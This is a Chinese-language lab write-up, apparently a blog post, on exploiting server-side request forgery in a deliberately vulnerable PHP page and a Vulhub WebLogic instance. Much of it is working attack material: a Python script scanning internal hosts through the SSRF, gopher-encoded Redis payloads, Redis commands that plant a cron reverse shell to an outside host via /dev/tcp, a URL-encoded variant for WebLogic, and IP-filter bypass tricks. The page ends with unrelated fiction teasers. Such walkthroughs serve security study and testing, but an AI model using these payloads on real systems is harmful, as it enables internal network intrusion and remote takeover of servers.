SSRF漏洞利用

前言

之前自己搭建ssrf漏洞的时候,只是简单复现。现在突然发现可以继续深入一下,算是对之前的补充吧。

回顾

参考 SSRF(服务端请求伪造)漏洞
使用phpstudy环境
ssrf.php直接访问即可,源码为:

<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化会话
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//执行会话
curl_close($ch);
echo $res;//有回显
//无回显
if($res){
    echo "True";
}else{
    echo "False";
}
?>

漏洞存在

有回显
echo $res;

对url参数进行修改,向百度浏览器发送请求。可证实为SSRF漏洞。

ssrf.php?url=http://www.baidu.com
image.png

无回显
即不输出。if($res){ echo "True"; }else{ echo "False"; }
因为没有回显无法直观看到页面的变化,只返回True或False判断,采用公网服务器端口监听的方式判断SSRF漏洞是否存在。
公网服务器nc进行监听

nc -lvp 8080

靶机发送请求

ssrf.php?url=http://47.94.xx.xx:8080
image.png

接收到数据包。可证实存在SSRF漏洞

利用方式

SSRF漏洞可以判断内网主机存活以及端口开放情况,可以读取服务器文件,攻击内网的web应用。

服务探测

有回显

ssrf.php?url=http://127.0.0.1:8080
image.png

可以借助burp的Intruder尝试探测。

image.png

如果对资产了解不足,可以先对C段进行探测以及一些端口22,80,8080,7001,6379等
但是灵活度不够,可以编写脚本进行探测。

#coding='utf-8'
import requests

scheme = 'http'
port_list = [22,80,3306,3389,6379,8080,8088]

def run():
    for i in range(130,136):
        for port in port_list:
            ip='192.168.197.'+str(i)
            payload = '{scheme}://{ip}:{port}'.format(
                scheme=scheme,
                ip=ip,
                port=port
            )
            url= "http://192.168.197.216/ssrf.php?url={payload}".format(payload=payload)
            print url
            try:
                r = requests.get(url,timeout=5,verify=False)
                print r.text
            except Exception,e:
                pass
if __name__ == '__main__':
    run()

github上也有现成工具。
https://github.com/swisskyrepo/SSRFmap
https://github.com/bcoles/ssrf_proxy
https://github.com/tarunkant/Gopherus

无回显
即不输出。if($res){ echo "True"; }else{ echo "False"; }
对于这种Bool型的SSRF漏洞,只是简单返回True或False,没有任何响应信息。即使使用payload也无法验证是否利用成功,所以利用起来很费劲。

文件读取

有回显
利用file协议可进行任意文件读取。

image.png

利用dict协议可以操作redis服务。

image.png

无回显
无法输出内容,该方式作废。

gopher协议

能够利用的协议有很多,如ftp协议、http协议、dict协议、file协议等等
这里重点看一下gopher协议。
gopher协议,分布型的文件搜集获取网络协议,支持发出GET、POST请求。可以先截获get请求包和post请求包,然后再构造成符合gopher协议的请求。gopher协议在ssrf利用中很强大。
有回显

服务器nc进行监听

nc -lvp 2333

靶机发送请求

ssrf.php?url=gopher://172.16.111.98:2333/_hello
img

SSRF漏洞在真实环境常常去攻击redis、FastCGI等服务。

攻击redis

使用gopher协议发送数据包与常见post数据包不太一样。gopher发送的数据包需为十六进制。我们可以使用一些抓包工具将请求的数据抓取下来,然后不断拷贝,操作中非常容易出错。所以找到负责转换gopher的payload的工具。

https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

下载到kali上,make编译即可生成sniffer工具。并在本地kali上搭建redis服务。
输入info命令查看redis服务,并开启sniffer捕捉到的命令即为payload。

image.png

gopher协议格式为:gopher:/ip:port/_ + payload

gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a

有回显

将该payload拷贝到burp数据包中,响应500错误。

image.png

使用curl进行发送,请求成功。

curl 'gopher://192.168.197.134:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'
image.png

证明实际是可以发送成功的。

下面进一步攻击redis服务。
关于攻击redis服务参考我之前的一篇文章 redis漏洞利用
这里依然用简单快捷的shell反弹

config set dir /var/spool/cron/
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/47.94.80.xxx/8080 0>&1\n\n"
config set dbfilename root
save

将反弹shell的命令生成payload进行发送。sniff捕捉payload。

image.png

payload为:

%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%78%78%78%0d%0a%24%36%31%0d%0a%0a%0a%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%3e%26%2f%64%65%76%2f%74%63%70%2f%34%37%2e%39%34%2e%38%30%2e%31%32%39%2f%38%30%38%30%20%30%3e%26%31%0a%0a%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

然后使用gopher协议进行构造,并进行url编码。虽然服务器返回500,但可以成功创建任务计划执行。

image.png

shell随之接收

image.png

无回显

无回显的利用方式一样,服务器响应也为500。

绕过IP限制

1.利用@符号

ssrf.php?url=http://www.baidu.com@127.0.0.1:80

和访问127.0.0.1效果一样

2.利用短地址
使用在线短链生成器

https://url.cn/5fyRNDC

3.利用特殊域名

http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io 
http://foo.bar.10.0.0.1.xip.io

4.利用进制转换
可以是十六进制,八进制等。
例如192.168.197.134
首先把这四段数字给分别转成16进制,结果:c0 a8 c5 86
然后把 c0a8c586 这十六进制一起转换成8进制30052142606
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x

image.png

weblogic SSRF漏洞复现

使用vluhab进行复现该漏洞。

docker-compose build
docker-compose up -d

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

image.png

漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp页面

image.png

burp抓取数据包, operator参数存在SSRF漏洞

image.png

当访问不存在的端口,返回could not connect over HTTP to server

image.png

当访问存在的端口时,显示error code。

image.png

当访问的非http协议,则会返回did not have a valid SOAP content-type

但是当我借助docker的weblogic ssrf漏洞去探测我手动搭建的redis服务时,出现了问题。

image.png

响应Response contained no data ,未找到解决办法。

去探测docker的redis服务时,响应正常

image.png

利用docker的环境攻击redis服务反弹shell。
向redis发送命令,将shell脚本写进计划任务。

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.94.xx.xxx/8080 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

将该命令通过get方式进行发送,需要进行url编码。
注意:换行符是"\r\n",也就是"%0D%0A"

http://172.18.0.2:6379/%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F47.94.xx.xxx%2F8080%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0Aaaa

注意这里使用的是http协议。因为java不支持除了http、https协议的其他协议。

image.png

即可反弹shell。

image.png

在自己手动搭建的weblogic和redis环境中,漏洞无法结合利用。
原因未知,复现出来的还请大佬告知。

参考资料
了解SSRF,这一篇就足够了
SSRF漏洞的利用与学习
SSRF in PHP
https://joychou.org/web/phpssrf.html
SSRF绕过方法总结
SSRF的一些利用姿势

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,999评论 4 368
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,102评论 1 302
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 110,709评论 0 250
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,439评论 0 217
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,846评论 3 294
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,881评论 1 224
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,062评论 2 317
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,783评论 0 205
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,517评论 1 248
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,762评论 2 253
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,241评论 1 264
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,568评论 3 260
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,236评论 3 241
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,145评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,941评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,965评论 2 283
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,802评论 2 275